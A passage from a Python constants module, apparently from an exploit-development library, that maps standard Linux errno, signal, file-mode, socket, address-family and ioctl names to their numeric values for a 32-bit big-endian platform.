Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK 